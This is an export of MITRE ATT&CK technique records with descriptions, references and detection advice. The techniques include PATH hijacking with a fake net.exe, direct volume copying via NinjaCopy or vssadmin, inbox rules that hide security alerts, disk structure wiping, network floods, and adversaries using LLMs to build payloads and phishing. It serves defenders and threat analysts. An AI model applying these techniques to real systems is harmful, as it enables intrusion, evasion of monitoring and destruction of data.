The Linux & macOS module loader can load and execute shared objects from arbitrary local paths. This functionality resides in `dlfcn.h` in functions such as `dlopen` and `dlsym`. Although macOS can execute `.so` files, common practice uses `.dylib` files.(Citation: Apple Dev Dynamic Libraries)(Citation: Linux Shared Libraries)(Citation: RotaJakiro 2021 netlab360 analysis)(Citation: Unit42 OceanLotus 2017)
The Windows module loader can be instructed to load DLLs from arbitrary local paths and arbitrary Universal Naming Convention (UNC) network paths. This functionality resides in `NTDLL.dll` and is part of the Windows [Native API](https://attack.mitre.org/techniques/T1106) which is called from functions like `LoadLibrary` at run time.(Citation: Microsoft DLL) | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "execution"
}
] | false | [
{
"description": null,
"external_id": "T1129",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1129"
},
{
"description": " Alex Turing, Hui Wang. (2021, April 28). RotaJakiro: A long live secret backdoor with 0 VT detection. Retrieved June 14, 2023.",
"external_id": null,
"source_name": "RotaJakiro 2021 netlab360 analysis",
"url": "https://blog.netlab.360.com/stealth_rotajakiro_backdoor_en/"
},
{
"description": "Apple. (2012, July 23). Overview of Dynamic Libraries. Retrieved September 7, 2023.",
"external_id": null,
"source_name": "Apple Dev Dynamic Libraries",
"url": "https://developer.apple.com/library/archive/documentation/DeveloperTools/Conceptual/DynamicLibraries/100-Articles/OverviewOfDynamicLibraries.html"
},
{
"description": "Erye Hernandez and Danny Tsechansky. (2017, June 22). The New and Improved macOS Backdoor from OceanLotus. Retrieved September 8, 2023.",
"external_id": null,
"source_name": "Unit42 OceanLotus 2017",
"url": "https://unit42.paloaltonetworks.com/unit42-new-improved-macos-backdoor-oceanlotus/"
},
{
"description": "Microsoft. (2023, April 28). What is a DLL. Retrieved September 7, 2023.",
"external_id": null,
"source_name": "Microsoft DLL",
"url": "https://learn.microsoft.com/troubleshoot/windows-client/deployment/dynamic-link-library"
},
{
"description": "Wheeler, D. (2003, April 11). Shared Libraries. Retrieved September 7, 2023.",
"external_id": null,
"source_name": "Linux Shared Libraries",
"url": "https://tldp.org/HOWTO/Program-Library-HOWTO/shared-libraries.html"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Monitoring DLL module loads may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances, since benign use of Windows modules load functions are common and may be difficult to distinguish from malicious behavior. Legitimate software will likely only need to load routine, bundled DLL modules or Windows system DLLs such that deviation from known module loads may be suspicious. Limiting DLL module loads to `%SystemRoot%` and `%ProgramFiles%` directories will protect against module loads from unsafe paths.
Correlation of other events with behavior surrounding module loads using API monitoring and suspicious DLLs written to disk will provide additional context to an event that may assist in determining if it is due to malicious behavior. | [
"enterprise-attack"
] | false | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Windows",
"macOS",
"Linux"
] | 2.2 |
attack-pattern | attack-pattern--0ad7bc5c-235a-4048-944b-3b286676cb74 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2020-10-19T23:46:13.931000" | "2022-04-19T21:32:58.274000" | Data from Configuration Repository | Adversaries may collect data related to managed devices from configuration repositories. Configuration repositories are used by management systems in order to configure, manage, and control data on remote systems. Configuration repositories may also facilitate remote access and administration of devices.
Adversaries may target these repositories in order to collect large quantities of sensitive system administration data. Data from configuration repositories may be exposed by various protocols and software and can store a wide variety of data, much of which may align with adversary Discovery objectives.(Citation: US-CERT-TA18-106A)(Citation: US-CERT TA17-156A SNMP Abuse 2017) | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "collection"
}
] | false | [
{
"description": null,
"external_id": "T1602",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1602"
},
{
"description": "Cisco. (2008, June 10). Identifying and Mitigating Exploitation of the SNMP Version 3 Authentication Vulnerabilities. Retrieved October 19, 2020.",
"external_id": null,
"source_name": "Cisco Advisory SNMP v3 Authentication Vulnerabilities",
"url": "https://tools.cisco.com/security/center/content/CiscoAppliedMitigationBulletin/cisco-amb-20080610-SNMPv3"
},
{
"description": "US-CERT. (2017, June 5). Reducing the Risk of SNMP Abuse. Retrieved October 19, 2020.",
"external_id": null,
"source_name": "US-CERT TA17-156A SNMP Abuse 2017",
"url": "https://us-cert.cisa.gov/ncas/alerts/TA17-156A"
},
{
"description": "US-CERT. (2018, April 20). Alert (TA18-106A) Russian State-Sponsored Cyber Actors Targeting Network Infrastructure Devices. Retrieved October 19, 2020.",
"external_id": null,
"source_name": "US-CERT-TA18-106A",
"url": "https://www.us-cert.gov/ncas/alerts/TA18-106A"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Identify network traffic sent or received by untrusted hosts or networks that solicits and obtains the configuration information of the queried device.(Citation: Cisco Advisory SNMP v3 Authentication Vulnerabilities) | [
"enterprise-attack"
] | false | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Network"
] | 1.0 |
attack-pattern | attack-pattern--0af0ca99-357d-4ba1-805f-674fdfb7bef9 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2020-02-20T22:10:20.484000" | "2023-04-14T19:38:24.089000" | Disk Structure Wipe | Adversaries may corrupt or wipe the disk data structures on a hard drive necessary to boot a system; targeting specific critical systems or in large numbers in a network to interrupt availability to system and network resources.
Adversaries may attempt to render the system unable to boot by overwriting critical data located in structures such as the master boot record (MBR) or partition table.(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017)(Citation: Unit 42 Shamoon3 2018) The data contained in disk structures may include the initial executable code for loading an operating system or the location of the file system partitions on disk. If this information is not present, the computer will not be able to load an operating system during the boot process, leaving the computer unavailable. [Disk Structure Wipe](https://attack.mitre.org/techniques/T1561/002) may be performed in isolation, or along with [Disk Content Wipe](https://attack.mitre.org/techniques/T1561/001) if all sectors of a disk are wiped.
On a network devices, adversaries may reformat the file system using [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands such as `format`.(Citation: format_cmd_cisco)
To maximize impact on the target organization, malware designed for destroying disk structures may have worm-like features to propagate across a network by leveraging other techniques like [Valid Accounts](https://attack.mitre.org/techniques/T1078), [OS Credential Dumping](https://attack.mitre.org/techniques/T1003), and [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002).(Citation: Symantec Shamoon 2012)(Citation: FireEye Shamoon Nov 2016)(Citation: Palo Alto Shamoon Nov 2016)(Citation: Kaspersky StoneDrill 2017) | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "impact"
}
] | false | [
{
"description": null,
"external_id": "T1561.002",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1561/002"
},
{
"description": "Cisco. (2022, August 16). format - Cisco IOS Configuration Fundamentals Command Reference. Retrieved July 13, 2022.",
"external_id": null,
"source_name": "format_cmd_cisco",
"url": "https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/fundamentals/command/cf_command_ref/F_through_K.html#wp2829794668"
},
{
"description": "Falcone, R. (2018, December 13). Shamoon 3 Targets Oil and Gas Organization. Retrieved March 14, 2019.",
"external_id": null,
"source_name": "Unit 42 Shamoon3 2018",
"url": "https://unit42.paloaltonetworks.com/shamoon-3-targets-oil-gas-organization/"
},
{
"description": "Falcone, R.. (2016, November 30). Shamoon 2: Return of the Disttrack Wiper. Retrieved January 11, 2017.",
"external_id": null,
"source_name": "Palo Alto Shamoon Nov 2016",
"url": "http://researchcenter.paloaltonetworks.com/2016/11/unit42-shamoon-2-return-disttrack-wiper/"
},
{
"description": "FireEye. (2016, November 30). FireEye Responds to Wave of Destructive Cyber Attacks in Gulf Region. Retrieved January 11, 2017.",
"external_id": null,
"source_name": "FireEye Shamoon Nov 2016",
"url": "https://www.fireeye.com/blog/threat-research/2016/11/fireeye_respondsto.html"
},
{
"description": "Kaspersky Lab. (2017, March 7). From Shamoon to StoneDrill: Wipers attacking Saudi organizations and beyond. Retrieved March 14, 2019.",
"external_id": null,
"source_name": "Kaspersky StoneDrill 2017",
"url": "https://media.kasperskycontenthub.com/wp-content/uploads/sites/43/2018/03/07180722/Report_Shamoon_StoneDrill_final.pdf"
},
{
"description": "Russinovich, M. & Garnier, T. (2017, May 22). Sysmon v6.20. Retrieved December 13, 2017.",
"external_id": null,
"source_name": "Microsoft Sysmon v6 May 2017",
"url": "https://docs.microsoft.com/sysinternals/downloads/sysmon"
},
{
"description": "Symantec. (2012, August 16). The Shamoon Attacks. Retrieved March 14, 2019.",
"external_id": null,
"source_name": "Symantec Shamoon 2012",
"url": "https://www.symantec.com/connect/blogs/shamoon-attacks"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Look for attempts to read/write to sensitive locations like the master boot record and the disk partition table. Monitor for direct access read/write attempts using the <code>\\\\.\\</code> notation.(Citation: Microsoft Sysmon v6 May 2017) Monitor for unusual kernel driver installation activity.
For network infrastructure devices, collect AAA logging to monitor for `format` commands being run to erase the file structure and prevent recovery of the device. | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Linux",
"macOS",
"Windows",
"Network"
] | 1.1 |
attack-pattern | attack-pattern--0bda01d5-4c1d-4062-8ee2-6872334383c3 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2020-03-02T20:07:18.651000" | "2023-03-30T21:01:53.685000" | Direct Network Flood | Adversaries may attempt to cause a denial of service (DoS) by directly sending a high-volume of network traffic to a target. This DoS attack may also reduce the availability and functionality of the targeted system(s) and network. [Direct Network Flood](https://attack.mitre.org/techniques/T1498/001)s are when one or more systems are used to send a high-volume of network packets towards the targeted service's network. Almost any network protocol may be used for flooding. Stateless protocols such as UDP or ICMP are commonly used but stateful protocols such as TCP can be used as well.
Botnets are commonly used to conduct network flooding attacks against networks and services. Large botnets can generate a significant amount of traffic from systems spread across the global Internet. Adversaries may have the resources to build out and control their own botnet infrastructure or may rent time on an existing botnet to conduct an attack. In some of the worst cases for distributed DoS (DDoS), so many systems are used to generate the flood that each one only needs to send out a small amount of traffic to produce enough volume to saturate the target network. In such circumstances, distinguishing DDoS traffic from legitimate clients becomes exceedingly difficult. Botnets have been used in some of the most high-profile DDoS flooding attacks, such as the 2012 series of incidents that targeted major US banks.(Citation: USNYAG IranianBotnet March 2016) | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "impact"
}
] | false | [
{
"description": null,
"external_id": "T1498.001",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1498/001"
},
{
"description": "Cisco. (n.d.). Detecting and Analyzing Network Threats With NetFlow. Retrieved April 25, 2019.",
"external_id": null,
"source_name": "Cisco DoSdetectNetflow",
"url": "https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/netflow/configuration/15-mt/nf-15-mt-book/nf-detct-analy-thrts.pdf"
},
{
"description": "Preet Bharara, US Attorney. (2016, March 24). Retrieved April 23, 2019.",
"external_id": null,
"source_name": "USNYAG IranianBotnet March 2016",
"url": "https://www.justice.gov/opa/pr/seven-iranians-working-islamic-revolutionary-guard-corps-affiliated-entities-charged"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Detection of a network flood can sometimes be achieved before the traffic volume is sufficient to cause impact to the availability of the service, but such response time typically requires very aggressive monitoring and responsiveness or services provided by an upstream network service provider. Typical network throughput monitoring tools such as netflow(Citation: Cisco DoSdetectNetflow), SNMP, and custom scripts can be used to detect sudden increases in network or service utilization. Real-time, automated, and qualitative study of the network traffic can identify a sudden surge in one type of protocol can be used to detect a network flood event as it starts. Often, the lead time may be small and the indicator of an event availability of the network or service drops. The analysis tools mentioned can then be used to determine the type of DoS causing the outage and help with remediation. | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Windows",
"Azure AD",
"Office 365",
"SaaS",
"IaaS",
"Linux",
"macOS",
"Google Workspace"
] | 1.3 |
attack-pattern | attack-pattern--0c2d00da-7742-49e7-9928-4514e5075d32 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2020-03-13T14:10:43.424000" | "2023-10-03T03:29:57.078000" | Path Interception by PATH Environment Variable | Adversaries may execute their own malicious payloads by hijacking environment variables used to load libraries. The PATH environment variable contains a list of directories (User and System) that the OS searches sequentially through in search of the binary that was called from a script or the command line.
Adversaries can place a malicious program in an earlier entry in the list of directories stored in the PATH environment variable, resulting in the operating system executing the malicious binary rather than the legitimate binary when it searches sequentially through that PATH listing.
For example, on Windows if an adversary places a malicious program named "net.exe" in `C:\example path`, which by default precedes `C:\Windows\system32\net.exe` in the PATH environment variable, when "net" is executed from the command-line the `C:\example path` will be called instead of the system's legitimate executable at `C:\Windows\system32\net.exe`. Some methods of executing a program rely on the PATH environment variable to determine the locations that are searched when the path for the program is not given, such as executing programs from a [Command and Scripting Interpreter](https://attack.mitre.org/techniques/T1059).(Citation: ExpressVPN PATH env Windows 2021)
Adversaries may also directly modify the $PATH variable specifying the directories to be searched. An adversary can modify the `$PATH` variable to point to a directory they have write access. When a program using the $PATH variable is called, the OS searches the specified directory and executes the malicious binary. On macOS, this can also be performed through modifying the $HOME variable. These variables can be modified using the command-line, launchctl, [Unix Shell Configuration Modification](https://attack.mitre.org/techniques/T1546/004), or modifying the `/etc/paths.d` folder contents.(Citation: uptycs Fake POC linux malware 2023)(Citation: nixCraft macOS PATH variables)(Citation: Elastic Rules macOS launchctl 2022) | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "persistence"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "privilege-escalation"
},
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-evasion"
}
] | false | [
{
"description": null,
"external_id": "T1574.007",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1574/007"
},
{
"description": "Elastic Security 7.17. (2022, February 1). Modification of Environment Variable via Launchctl. Retrieved September 28, 2023.",
"external_id": null,
"source_name": "Elastic Rules macOS launchctl 2022",
"url": "https://www.elastic.co/guide/en/security/7.17/prebuilt-rule-7-16-4-modification-of-environment-variable-via-launchctl.html"
},
{
"description": "ExpressVPN Security Team. (2021, November 16). Cybersecurity lessons: A PATH vulnerability in Windows. Retrieved September 28, 2023.",
"external_id": null,
"source_name": "ExpressVPN PATH env Windows 2021",
"url": "https://www.expressvpn.com/blog/cybersecurity-lessons-a-path-vulnerability-in-windows/"
},
{
"description": "Nischay Hegde and Siddartha Malladi. (2023, July 12). PoC Exploit: Fake Proof of Concept with Backdoor Malware. Retrieved September 28, 2023.",
"external_id": null,
"source_name": "uptycs Fake POC linux malware 2023",
"url": "https://www.uptycs.com/blog/new-poc-exploit-backdoor-malware"
},
{
"description": "Vivek Gite. (2023, August 22). MacOS – Set / Change $PATH Variable Command. Retrieved September 28, 2023.",
"external_id": null,
"source_name": "nixCraft macOS PATH variables",
"url": "https://www.cyberciti.biz/faq/appleosx-bash-unix-change-set-path-environment-variable/"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Monitor file creation for files named after partial directories and in locations that may be searched for common processes through the environment variable, or otherwise should not be user writable. Monitor the executing process for process executable paths that are named for partial directories. Monitor file creation for programs that are named after Windows system programs or programs commonly executed without a path (such as "findstr," "net," and "python"). If this activity occurs outside of known administration activity, upgrades, installations, or patches, then it may be suspicious.
Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement. | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Windows",
"macOS",
"Linux"
] | 1.1 |
attack-pattern | attack-pattern--0c4b4fda-9062-47da-98b9-ceae2dcf052a | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2020-02-14T13:35:32.938000" | "2021-06-08T17:10:31.187000" | Sharepoint | Adversaries may leverage the SharePoint repository as a source to mine valuable information. SharePoint will often contain useful information for an adversary to learn about the structure and functionality of the internal network and systems. For example, the following is a list of example information that may hold potential value to an adversary and may also be found on SharePoint:
* Policies, procedures, and standards
* Physical / logical network diagrams
* System architecture diagrams
* Technical system documentation
* Testing / development credentials
* Work / project schedules
* Source code snippets
* Links to network shares and other internal resources
| [
{
"kill_chain_name": "mitre-attack",
"phase_name": "collection"
}
] | false | [
{
"description": null,
"external_id": "T1213.002",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1213/002"
},
{
"description": "Microsoft. (2017, July 19). Configure audit settings for a site collection. Retrieved April 4, 2018.",
"external_id": null,
"source_name": "Microsoft SharePoint Logging",
"url": "https://support.office.com/en-us/article/configure-audit-settings-for-a-site-collection-a9920c97-38c0-44f2-8bcb-4cf1e2ae22d2"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | The user access logging within Microsoft's SharePoint can be configured to report access to certain pages and documents. (Citation: Microsoft SharePoint Logging). As information repositories generally have a considerably large user base, detection of malicious use can be non-trivial. At minimum, access to information repositories performed by privileged users (for example, Active Directory Domain, Enterprise, or Schema Administrators) should be closely monitored and alerted upon, as these types of accounts should generally not be used to access information repositories. If the capability exists, it may be of value to monitor and alert on users that are retrieving and viewing a large number of documents and pages; this behavior may be indicative of programmatic means being used to retrieve all data within the repository. In environments with high-maturity, it may be possible to leverage User-Behavioral Analytics (UBA) platforms to detect and alert on user based anomalies.
| [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Windows",
"Office 365"
] | 1.0 |
attack-pattern | attack-pattern--0c8ab3eb-df48-4b9c-ace7-beacaac81cc5 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2017-05-31T21:30:20.934000" | "2024-04-16T12:25:24.480000" | Direct Volume Access | Adversaries may directly access a volume to bypass file access controls and file system monitoring. Windows allows programs to have direct access to logical volumes. Programs with direct access may read and write files directly from the drive by analyzing file system data structures. This technique may bypass Windows file access controls as well as file system monitoring tools. (Citation: Hakobyan 2009)
Utilities, such as `NinjaCopy`, exist to perform these actions in PowerShell.(Citation: Github PowerSploit Ninjacopy) Adversaries may also use built-in or third-party utilities (such as `vssadmin`, `wbadmin`, and [esentutl](https://attack.mitre.org/software/S0404)) to create shadow copies or backups of data from system volumes.(Citation: LOLBAS Esentutl) | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-evasion"
}
] | false | [
{
"description": null,
"external_id": "T1006",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1006"
},
{
"description": "Bialek, J. (2015, December 16). Invoke-NinjaCopy.ps1. Retrieved June 2, 2016.",
"external_id": null,
"source_name": "Github PowerSploit Ninjacopy",
"url": "https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Invoke-NinjaCopy.ps1"
},
{
"description": "Hakobyan, A. (2009, January 8). FDump - Dumping File Sectors Directly from Disk using Logical Offsets. Retrieved November 12, 2014.",
"external_id": null,
"source_name": "Hakobyan 2009",
"url": "http://www.codeproject.com/Articles/32169/FDump-Dumping-File-Sectors-Directly-from-Disk-usin"
},
{
"description": "LOLBAS. (n.d.). Esentutl.exe. Retrieved September 3, 2019.",
"external_id": null,
"source_name": "LOLBAS Esentutl",
"url": "https://lolbas-project.github.io/lolbas/Binaries/Esentutl/"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Monitor handle opens on drive volumes that are made by processes to determine when they may directly access logical drives. (Citation: Github PowerSploit Ninjacopy)
Monitor processes and command-line arguments for actions that could be taken to copy files from the logical drive and evade common file system protections. Since this technique may also be used through [PowerShell](https://attack.mitre.org/techniques/T1059/001), additional logging of PowerShell scripts is recommended. | [
"enterprise-attack"
] | false | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Windows",
"Network"
] | 2.2 |
attack-pattern | attack-pattern--0cc222f5-c3ff-48e6-9f52-3314baf9d37e | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2024-03-11T13:37:31.836000" | "2024-04-15T23:49:14.558000" | Artificial Intelligence | Adversaries may obtain access to generative artificial intelligence tools, such as large language models (LLMs), to aid various techniques during targeting. These tools may be used to inform, bolster, and enable a variety of malicious tasks including conducting [Reconnaissance](https://attack.mitre.org/tactics/TA0043), creating basic scripts, assisting social engineering, and even developing payloads.(Citation: MSFT-AI)
For example, by utilizing a publicly available LLM an adversary is essentially outsourcing or automating certain tasks to the tool. Using AI, the adversary may draft and generate content in a variety of written languages to be used in [Phishing](https://attack.mitre.org/techniques/T1566)/[Phishing for Information](https://attack.mitre.org/techniques/T1598) campaigns. The same publicly available tool may further enable vulnerability or other offensive research supporting [Develop Capabilities](https://attack.mitre.org/techniques/T1587). AI tools may also automate technical tasks by generating, refining, or otherwise enhancing (e.g., [Obfuscated Files or Information](https://attack.mitre.org/techniques/T1027)) malicious scripts and payloads.(Citation: OpenAI-CTI)
| [
{
"kill_chain_name": "mitre-attack",
"phase_name": "resource-development"
}
] | false | [
{
"description": null,
"external_id": "T1588.007",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1588/007"
},
{
"description": "Microsoft Threat Intelligence. (2024, February 14). Staying ahead of threat actors in the age of AI. Retrieved March 11, 2024.",
"external_id": null,
"source_name": "MSFT-AI",
"url": "https://www.microsoft.com/en-us/security/blog/2024/02/14/staying-ahead-of-threat-actors-in-the-age-of-ai/"
},
{
"description": "OpenAI. (2024, February 14). Disrupting malicious uses of AI by state-affiliated threat actors. Retrieved March 11, 2024.",
"external_id": null,
"source_name": "OpenAI-CTI",
"url": "https://openai.com/blog/disrupting-malicious-uses-of-ai-by-state-affiliated-threat-actors"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"PRE"
] | 1.0 |
|
attack-pattern | attack-pattern--0cf55441-b176-4332-89e7-2c4c7799d0ff | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2021-06-07T13:20:23.767000" | "2023-10-16T16:41:53.957000" | Email Hiding Rules | Adversaries may use email rules to hide inbound emails in a compromised user's mailbox. Many email clients allow users to create inbox rules for various email functions, including moving emails to other folders, marking emails as read, or deleting emails. Rules may be created or modified within email clients or through external features such as the <code>New-InboxRule</code> or <code>Set-InboxRule</code> [PowerShell](https://attack.mitre.org/techniques/T1059/001) cmdlets on Windows systems.(Citation: Microsoft Inbox Rules)(Citation: MacOS Email Rules)(Citation: Microsoft New-InboxRule)(Citation: Microsoft Set-InboxRule)
Adversaries may utilize email rules within a compromised user's mailbox to delete and/or move emails to less noticeable folders. Adversaries may do this to hide security alerts, C2 communication, or responses to [Internal Spearphishing](https://attack.mitre.org/techniques/T1534) emails sent from the compromised account.
Any user or administrator within the organization (or adversary with valid credentials) may be able to create rules to automatically move or delete emails. These rules can be abused to impair/delay detection had the email content been immediately seen by a user or defender. Malicious rules commonly filter out emails based on key words (such as <code>malware</code>, <code>suspicious</code>, <code>phish</code>, and <code>hack</code>) found in message bodies and subject lines. (Citation: Microsoft Cloud App Security)
In some environments, administrators may be able to enable email rules that operate organization-wide rather than on individual inboxes. For example, Microsoft Exchange supports transport rules that evaluate all mail an organization receives against user-specified conditions, then performs a user-specified action on mail that adheres to those conditions.(Citation: Microsoft Mail Flow Rules 2023) Adversaries that abuse such features may be able to automatically modify or delete all emails related to specific topics (such as internal security incident notifications). | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "defense-evasion"
}
] | false | [
{
"description": null,
"external_id": "T1564.008",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1564/008"
},
{
"description": "Apple. (n.d.). Use rules to manage emails you receive in Mail on Mac. Retrieved June 14, 2021.",
"external_id": null,
"source_name": "MacOS Email Rules",
"url": "https://support.apple.com/guide/mail/use-rules-to-manage-emails-you-receive-mlhlp1017/mac"
},
{
"description": "Carr, N., Sellmer, S. (2021, June 14). Behind the scenes of business email compromise: Using cross-domain threat data to disrupt a large BEC campaign. Retrieved June 15, 2021.",
"external_id": null,
"source_name": "Microsoft BEC Campaign",
"url": "https://www.microsoft.com/security/blog/2021/06/14/behind-the-scenes-of-business-email-compromise-using-cross-domain-threat-data-to-disrupt-a-large-bec-infrastructure/"
},
{
"description": "Microsoft. (2023, February 22). Mail flow rules (transport rules) in Exchange Online. Retrieved March 13, 2023.",
"external_id": null,
"source_name": "Microsoft Mail Flow Rules 2023",
"url": "https://learn.microsoft.com/en-us/exchange/security-and-compliance/mail-flow-rules/mail-flow-rules"
},
{
"description": "Microsoft. (n.d.). Manage email messages by using rules. Retrieved June 11, 2021.",
"external_id": null,
"source_name": "Microsoft Inbox Rules",
"url": "https://support.microsoft.com/en-us/office/manage-email-messages-by-using-rules-c24f5dea-9465-4df4-ad17-a50704d66c59"
},
{
"description": "Microsoft. (n.d.). New-InboxRule. Retrieved June 7, 2021.",
"external_id": null,
"source_name": "Microsoft New-InboxRule",
"url": "https://docs.microsoft.com/en-us/powershell/module/exchange/new-inboxrule?view=exchange-ps"
},
{
"description": "Microsoft. (n.d.). Set-InboxRule. Retrieved June 7, 2021.",
"external_id": null,
"source_name": "Microsoft Set-InboxRule",
"url": "https://docs.microsoft.com/en-us/powershell/module/exchange/set-inboxrule?view=exchange-ps"
},
{
"description": "Niv Goldenberg. (2018, December 12). Rule your inbox with Microsoft Cloud App Security. Retrieved June 7, 2021.",
"external_id": null,
"source_name": "Microsoft Cloud App Security",
"url": "https://techcommunity.microsoft.com/t5/security-compliance-and-identity/rule-your-inbox-with-microsoft-cloud-app-security/ba-p/299154"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Monitor email clients and applications for suspicious activity, such as missing messages or abnormal configuration and/or log entries.
On Windows systems, monitor for creation of suspicious inbox rules through the use of the <code>New-InboxRule</code> and <code>Set-InboxRule</code> PowerShell cmdlets.(Citation: Microsoft BEC Campaign) On MacOS systems, monitor for modifications to the <code>RulesActiveState.plist</code>, <code>SyncedRules.plist</code>, <code>UnsyncedRules.plist</code>, and <code>MessageRules.plist</code> files.(Citation: MacOS Email Rules) | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Windows",
"Office 365",
"Linux",
"macOS",
"Google Workspace"
] | 1.3 |
attack-pattern | attack-pattern--0cfe31a7-81fc-472c-bc45-e2808d1066a3 | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | "2020-02-20T14:34:08.496000" | "2022-03-25T19:34:37.539000" | External Defacement | An adversary may deface systems external to an organization in an attempt to deliver messaging, intimidate, or otherwise mislead an organization or users. [External Defacement](https://attack.mitre.org/techniques/T1491/002) may ultimately cause users to distrust the systems and to question/discredit the system’s integrity. Externally-facing websites are a common victim of defacement; often targeted by adversary and hacktivist groups in order to push a political message or spread propaganda.(Citation: FireEye Cyber Threats to Media Industries)(Citation: Kevin Mandia Statement to US Senate Committee on Intelligence)(Citation: Anonymous Hackers Deface Russian Govt Site) [External Defacement](https://attack.mitre.org/techniques/T1491/002) may be used as a catalyst to trigger events, or as a response to actions taken by an organization or government. Similarly, website defacement may also be used as setup, or a precursor, for future attacks such as [Drive-by Compromise](https://attack.mitre.org/techniques/T1189).(Citation: Trend Micro Deep Dive Into Defacement) | [
{
"kill_chain_name": "mitre-attack",
"phase_name": "impact"
}
] | false | [
{
"description": null,
"external_id": "T1491.002",
"source_name": "mitre-attack",
"url": "https://attack.mitre.org/techniques/T1491/002"
},
{
"description": "FireEye. (n.d.). Retrieved April 19, 2019.",
"external_id": null,
"source_name": "FireEye Cyber Threats to Media Industries",
"url": "https://www.fireeye.com/content/dam/fireeye-www/current-threats/pdfs/ib-entertainment.pdf"
},
{
"description": "Kevin Mandia. (2017, March 30). Prepared Statement of Kevin Mandia, CEO of FireEye, Inc. before the United States Senate Select Committee on Intelligence. Retrieved April 19, 2019.",
"external_id": null,
"source_name": "Kevin Mandia Statement to US Senate Committee on Intelligence",
"url": "https://www.intelligence.senate.gov/sites/default/files/documents/os-kmandia-033017.pdf"
},
{
"description": "Andy. (2018, May 12). ‘Anonymous’ Hackers Deface Russian Govt. Site to Protest Web-Blocking (NSFW). Retrieved April 19, 2019.",
"external_id": null,
"source_name": "Anonymous Hackers Deface Russian Govt Site",
"url": "https://torrentfreak.com/anonymous-hackers-deface-russian-govt-site-to-protest-web-blocking-nsfw-180512/"
},
{
"description": "Marco Balduzzi, Ryan Flores, Lion Gu, Federico Maggi, Vincenzo Ciancaglini, Roel Reyes, Akira Urano. (n.d.). A Deep Dive into Defacement: How Geopolitical Events Trigger Web Attacks. Retrieved April 19, 2019.",
"external_id": null,
"source_name": "Trend Micro Deep Dive Into Defacement",
"url": "https://documents.trendmicro.com/assets/white_papers/wp-a-deep-dive-into-defacement.pdf"
}
] | [
"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
] | Monitor external websites for unplanned content changes. Monitor application logs for abnormal behavior that may indicate attempted or successful exploitation. Use deep packet inspection to look for artifacts of common exploit traffic, such as SQL injection. Web Application Firewalls may detect improper inputs attempting exploitation. | [
"enterprise-attack"
] | true | identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 | [
"Windows",
"IaaS",
"Linux",
"macOS"
] | 1.2 |
